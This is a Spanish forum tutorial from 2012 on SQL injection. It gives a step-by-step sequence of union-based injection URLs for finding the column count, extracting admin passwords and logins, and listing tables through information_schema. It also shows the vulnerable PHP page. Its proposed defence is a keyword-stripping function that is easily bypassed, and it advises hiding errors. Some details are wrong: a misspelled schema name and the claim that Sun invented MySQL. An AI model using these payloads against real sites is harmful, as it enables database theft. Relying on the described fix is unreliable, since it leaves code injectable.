¿Quieres reaccionar a este mensaje? Regístrate en el foro con unos pocos clics o inicia sesión para continuar.

Entendiendo como ataca un hacker y haciendo más difícil su vida by Queda

 :: Entrada

Ir abajo

Entendiendo como ataca un hacker y haciendo más difícil su vida by Queda  Empty Entendiendo como ataca un hacker y haciendo más difícil su vida by Queda

Mensaje  Queda de Faraó Miér Mar 14, 2012 3:53 am

Gente, ahí os va un pequeño ejemplo de ataque "hacking" y de como protegerse
[PHP]Ejemplo: localhost/ver.php?id=1[/PHP]
Lo que haría un hacker normalmente sería verificar si es vulnerable usando caracteres tipo:[PHP]";" "'" [/PHP]
Digamos que es vulnerable, el segundo paso es usar order by
[PHP]Ejemplo:localhost/ver.php?id=1 order by 29 = error
localhost/ver.php?id=1 order by 7 normal[/PHP]
order by 8 error, entonces se entiende que es 7 y pasará a realizar una unión
[PHP]Ejemplo:
localhost/ver.php?id=1 union all select 1,2,3,4,5,6,7 ahí saldrán números para ello imaginemos que aparece el numero 2[/PHP]
[PHP]Ahora va a comprobar si existen tablas localhost/ver.php?id=1 union all select 1,2,3,4,5,6,7 from login aparece un error[/PHP]
Entonces comprueba localhost/ver.php?id=1 union all select 1,2,3,4,5,6,7 from admin aqui sin error la tabla existe, ahora vas a borrar el número dos y poner contraseña localhost/ver.php?id=1 union all select 1,contraseña,3,4,5,6,7 from admin ahí se encuentra una contraseña, se substituye la contraseña por login y encuentras el login.
Otra forma es usar fallas que "Sun" empresa inventora del mysql ha dejado para nosotros, lo que haremos es verificar information_schema que es un banco de datos que contiene todas las tablas del sitio, entonces vamos allá
[PHP]localhost/ver.php?id=1 union all select 1,group_concat(table_name),3,4,5,6,7 from informatin_schema.table where table_schema=database()--[/PHP]
aqui aparecen todas las tablas qué maravilla! ahora os voy a mostrar el código fuente de esa página vulnerable para que vosotros entendais como es el código vulnerable.
[PHP]
<HTML>
<HEAD>
<TITLE>New Document</TITLE>
</HEAD>
<BODY>
<?php
$con=mysql_connect("localhost","root","");

$bd=mysql_select_db("videos")or die (mysql_error()) ;
$sql=mysql_query("SELECT * FROM noticias ") ;
while($linha=mysql_fetch_array($sql)){
$id=$linha['id'];
?>
<a href="ver.php?id=<?php echo"$id";?>" >noticia</a>
<?php } ?>
</BODY>
</HTML>

Código PHP:
<HTML>
<HEAD>
<TITLE>New Document</TITLE>
</HEAD>
<BODY>
<?
$id=$_GET['id'];
$con=mysql_connect("localhost","root","");

$bd=mysql_select_db("videos")or die (mysql_error()) ;
$sql=mysql_query("SELECT * FROM noticias WHERE id='$id' ") ;
while($linha=mysql_fetch_array($sql)){
$id=$linha['id'];
$noticia=$linha['noticia'];
echo"$noticia";
}
?>
</BODY>
</HTML>[/PHP]

Existen maneras mucho más simples de corregir eso. Una mucho más fácil es desactivar el display errores pero también podemos usar una función de cura de sql, yo he desarrollado una, vamos a ver:
[PHP]function aniquilacao($string) {
$string = strip_tags($string);//retiro todas as tags html e php
$string = htmlspecialchars($string);//retiro todas as tags html e php isso evita xss
$string = addslashes($string);// acrescento uma barra
$string = str_replace("SELECT","",$string);// substituo a palavra slect por um valor nulo
$string = str_replace("FROM","",$string);
$string = str_replace("WHERE","",$string);
$string = str_replace("INSERT","",$string);
$string = str_replace("UPDATE","",$string);
$string = str_replace("DELETE","",$string);
$string = str_replace("DROP","",$string);
$string = str_replace("DATABASE","",$string);
$string = str_replace("USE","",$string);
return $string;
}
[/PHP]
Ahora os estareis preguntando como usar ese código para no ser más vulnerable, simplemente basta con guardarlo como un archivo llamado aniqilacao.php y hacer un include "aniquilacao.php" y después de eso en el query string hacer la llamada de la función string antes del id.
a lo largo de este tutorial es Queda de Faraó
Traducción: sensei
Felicidades sensei para la traducción y el tiempo que pasó en la traducción

Queda de Faraó
Moderador
Moderador

Mensajes : 11
Fecha de inscripción : 13/03/2012

Volver arriba Ir abajo

Volver arriba

- Temas similares

 :: Entrada

 
Permisos de este foro:
No puedes responder a temas en este foro.